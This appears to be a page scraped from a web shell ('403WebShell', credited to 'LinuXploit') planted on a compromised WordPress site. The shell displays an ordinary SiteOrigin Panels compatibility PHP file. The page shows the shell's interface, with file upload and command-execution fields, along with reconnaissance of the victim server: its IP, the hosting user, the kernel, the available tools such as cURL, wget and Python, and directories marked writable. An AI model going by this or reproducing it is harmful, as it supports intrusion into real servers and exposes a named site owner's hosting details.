Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.117.11.13
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/siteorigin-panels/compat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/siteorigin-panels/compat//pagelayer.php
<?php
/**
 * Compatibility with Pagelayer Templates.
 *
 * Templates are output using the_content filter.
 * To prevent content duplication, we need to selectively
 * deactivate the panels filter based on template usage.
 *
 */
class SiteOrigin_Panels_Compat_Pagelayer {
	public $panelsDisabled = false;

	public function __construct() {
		add_action( 'get_header', array( $this, 'template_detection' ), 1 );
		add_action( 'get_footer', array( $this, 'template_detection' ), 1 );
		add_filter( 'loop_start', array( $this, 'enable_panels_in_content' ) );
	}

	public static function single() {
		static $single;

		return empty( $single ) ? $single = new self() : $single;
	}

	function enable_panels_in_content( $query ) {
		if ( $this->panelsDisabled && $query->is_main_query() ) {
			remove_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
			$this->panelsDisabled = false;
		}
	}

	public function template_detection() {
		global $pagelayer;
		$context = current_filter() === 'get_header' ? 'header' : 'footer';
		if (
			! $this->panelsDisabled &&
			! empty( $pagelayer->{ "template_$context" } )
		) {
			add_filter( 'siteorigin_panels_filter_content_enabled', '__return_false' );
			$this->panelsDisabled = true;
		}
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit